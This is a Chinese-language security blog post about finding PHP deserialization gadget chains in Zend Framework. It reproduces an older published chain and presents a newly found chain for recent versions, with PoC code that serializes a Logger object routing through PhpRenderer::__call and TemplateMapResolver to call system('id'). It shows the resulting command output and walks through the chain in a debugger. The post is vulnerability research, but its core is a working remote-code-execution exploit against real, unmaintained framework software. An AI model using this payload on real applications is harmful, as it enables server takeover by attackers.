Zend Framework 3.1.3 gadget chain

前言

在推特上的PT SWARM账号发布了一条消息。

一个名为Zend Framework的php框架出现了新的gadget chain,可导致RCE。笔者尝试复现,但失败了。所幸,我基于此链,发现在这个框架的最新版本中的另一条链。

复现过程

这里使用vscode的ssh链接Ubuntu虚拟机,Ubuntu虚拟机内开有php7.2+nginx+xdebug的docker环境。使用composer安装框架。

这里偷懒,使用官方提供的MVC骨架,安装指令: composer create-project zendframework/skeleton-application path/to/install。根据下链,有一些包这个骨架还没安装。使用composer require安装zendframework/zend-filterzendframework/zend-logzendframework/zend-mail

这里放 复现环境,使用docker-compose up -d即可。

首先需要注意的是,ZF框架已经停止维护了。这是一个相当有年头的框架了,我估计不会发cve,要不然也不会公布...

gadget chain

php 复制代码
<?php

class Zend_Log
{
    protected $_writers;

    function __construct($x)
    {
        $this->_writers = $x;
    }
}

class Zend_Log_Writer_Mail
{
    protected $_eventsToMail;
    protected $_layoutEventsToMail;
    protected $_mail;
    protected $_layout;
    protected $_subjectPrependText;

    public function __construct(
        $eventsToMail,
        $layoutEventsToMail,
        $mail,
        $layout
    ) {
        $this->_eventsToMail       = $eventsToMail;
        $this->_layoutEventsToMail = $layoutEventsToMail;
        $this->_mail               = $mail;
        $this->_layout             = $layout;
        $this->_subjectPrependText = null;
    }
}

class Zend_Mail
{
}

class Zend_Layout
{
    protected $_inflector;
    protected $_inflectorEnabled;
    protected $_layout;

    public function __construct(
        $inflector,
        $inflectorEnabled,
        $layout
    ) {
        $this->_inflector        = $inflector;
        $this->_inflectorEnabled = $inflectorEnabled;
        $this->_layout           = '){}' . $layout . '/*';
    }
}

class Zend_Filter_Callback
{
    protected $_callback = "create_function";
    protected $_options = [""];
}

class Zend_Filter_Inflector
{
    protected $_rules = [];

    public function __construct()
    {
        $this->_rules['script'] = [new Zend_Filter_Callback()];
    }
}


$code = "phpinfo();exit;";

$a = new \Zend_Log(
    [new \Zend_Log_Writer_Mail(
         [1],
         [],
         new \Zend_Mail,
         new \Zend_Layout(
             new Zend_Filter_Inflector(),
             true,
             $code
         )
     )]
);

echo urlencode(serialize(['test' => $a]));

我把序列化数据打进去后发现这些类都变成了匿名类,简而言之就是ClassLoader没有找到这些类。这就很怪了。之后才发现,这些类的命名使用的是psr-0的规范。这个规范是放在以前php没有命名空间的时候使用的,早过时了。现在是psr-4。composer默认也是按照psr-4的规范安装的。

也就是说,这个链的可利用版本大致是相当古老的了(

我尝试安装更老旧版本的ZF框架。果然,老版本框架要求php版本在5.3以下......于是不打算继续复现...

新链发现

我尝试将上面poc的代码转换为psr-4规范,发现有一些类还有,有一些类则完全不在了,例如Zend_Layout类在ZF包的新版本中就没有。

我尝试利用现有的类进行测试,最终在上链基础上找到了新版本的链。

php 复制代码
namespace Zend\Log {
    class Logger
    {
        protected $writers;

        function __construct()
        {
            $this->writers = [new \Zend\Log\Writer\Mail()];
        }
    }
}

namespace Zend\Log\Writer {
    class Mail {
        protected $mail;
        protected $eventsToMail;
        protected $subjectPrependText;

        function __construct()
        {
            $this->mail = new \Zend\View\Renderer\PhpRenderer();
            $this->eventsToMail = ["id"];
            $this->subjectPrependText = null;
        }

    }
}

namespace Zend\View\Renderer {
    class PhpRenderer {
        private $__helpers;

        function __construct()
        {
            $this->__helpers = new \Zend\View\Resolver\TemplateMapResolver();
        }
    }
}

namespace Zend\View\Resolver {
    class TemplateMapResolver {
        protected $map;

        function __construct()
        {
            $this->map = [
                "setBody" => "system",
            ];
        }
    }
}

namespace {
    $payload = new \Zend\Log\Logger();
    echo urlencode(serialize($payload));
}

/*
OUTPUT: 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
*/

对此链进行调试

调试

php 复制代码
// Zend\Log\Logger
public function __destruct()
{
    foreach ($this->writers as $writer) {
        try {
            $writer->shutdown();
        } catch (\Exception $e) {
        }
    }
}

起点是Zend\Log\Logger类的__destruct方法,这其实就是复现的那条链的Zend_Log类,新版本改名为此。

可以看到这里调用了一个变量$writershutdown方法。那么接下来就有两个思路。

  1. $writer设为没有shutdown方法的实例,调用其__call方法
  2. $writer设为有shutdown方法的实例,调用其shutdown方法

我这里找到了Zend\Log\Writer\Mail类有这个shutdown方法,同时找到了一个比较好用的__call方法。

php 复制代码
public function shutdown()
{
    if (empty($this->eventsToMail)) {
        return;
    }

    if ($this->subjectPrependText !== null) {
        $numEntries = $this->getFormattedNumEntriesPerPriority();
        $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
    }

    $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));

    try {
        $this->transport->send($this->mail);
    } catch (TransportException\ExceptionInterface $e) {
        trigger_error(
            "unable to send log entries via email; " .
            "message = {$e->getMessage()}; " .
            "code = {$e->getCode()}; " .
            "exception class = " . get_class($e),
            E_USER_WARNING
        );
    }
}

这个方法调用了很多其它的方法,一开始没什么思路,再看看刚才说的__call方法。

php 复制代码
// Zend\View\Renderer\PhpRenderer
public function __call($method, $argv)
{
    $plugin = $this->plugin($method);

    if (is_callable($plugin)) {
        return call_user_func_array($plugin, $argv);
    }

    return $plugin;
}

可以看到,call_user_func_array并没有限制类(通常会这么写call_user_func_array([$this, $method], $argv)以防止调用类外方法)。这里可能会导致RCE,跟入plugin方法

php 复制代码
public function getHelperPluginManager()
{
    if (null === $this->__helpers) {
        $this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));
    }
    return $this->__helpers;
}


public function plugin($name, array $options = null)
{
    return $this->getHelperPluginManager()->get($name, $options);
}

跟入后首先会调用getHelperPluginManager方法,其返回值可以被控制。问题就是接下来的get方法了。这里找到一个好用的get方法。

php 复制代码
// Zend\View\Resolver\TemplateMapResolver
public function has($name)
{
    return array_key_exists($name, $this->map);
}

public function get($name)
{
    if (! $this->has($name)) {
        return false;
    }
    return $this->map[$name];
}

Zend\View\Resolver\TemplateMapResolver类中的get方法明显是可以控制返回值的。那么之前plugin的返回值也就可以随心所欲了。之后调用__call方法里的call_user_func_array的第一个参数就随便我们控制了。

但现在还有一个问题,就是call_user_func_array的第二个参数无法控制。这时我想起了之前的shutdown方法。

php 复制代码
public function shutdown()
{
    if (empty($this->eventsToMail)) {
        return;
    }

    if ($this->subjectPrependText !== null) {
        $numEntries = $this->getFormattedNumEntriesPerPriority();
        $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
    }

    /* 注意这一句 */
    $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));

    try {
        $this->transport->send($this->mail);
    } catch (TransportException\ExceptionInterface $e) {
        trigger_error(
            "unable to send log entries via email; " .
            "message = {$e->getMessage()}; " .
            "code = {$e->getCode()}; " .
            "exception class = " . get_class($e),
            E_USER_WARNING
        );
    }
}

很明显,我们想让终点的call_user_func_array的第二个参数有值。需要之前调用不存在方法时有参数。很明显,上面shutdown方法里有这么一句符合我们要求。

$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));首先可以调用__call方法,然后$this->eventsToMail经过implode函数可控。很明显,这个方法的参数可控,直接芜湖。

调用堆栈:

心得

可以看到,上面这样一条gadget链的寻找并没有那么困难。关键便是抓住php本身的特性,才能运用得灵活自如。

相关推荐
dsyyyyy11014 小时前
JavaScript变量
开发语言·javascript·ecmascript
kyriewen4 小时前
手写 Promise.all、race、any:不到 30 行代码,解决并发异步的所有姿势
前端·javascript·面试
z落落5 小时前
C#WinForm 窗体切换与窗体传值(登录跳转案例)+WinForm 窗体传值(从上往下传、从下往上传)
开发语言·windows·c#
胡志辉的博客6 小时前
深入浅出理解浏览器事件循环:从一道输出题讲到 Chrome 源码
前端·javascript·chrome·chromium·event loop
代码不加糖6 小时前
js中不会冒泡的事件有哪些?
前端·javascript·vue.js
dog2506 小时前
网络长尾延时的重尾本质
开发语言·网络·php
懂懂tty6 小时前
Vue2与Vue3之间API差异
前端·javascript·vue.js
小二·7 小时前
Next.js 15 全栈开发实战
开发语言·javascript·ecmascript
Rain5098 小时前
2.1 Nest.js 项目初始化与模块化架构
开发语言·前端·javascript·后端·架构·数据分析·node.js
ytttr8738 小时前
C# 定时数据库备份工具
开发语言·数据库·c#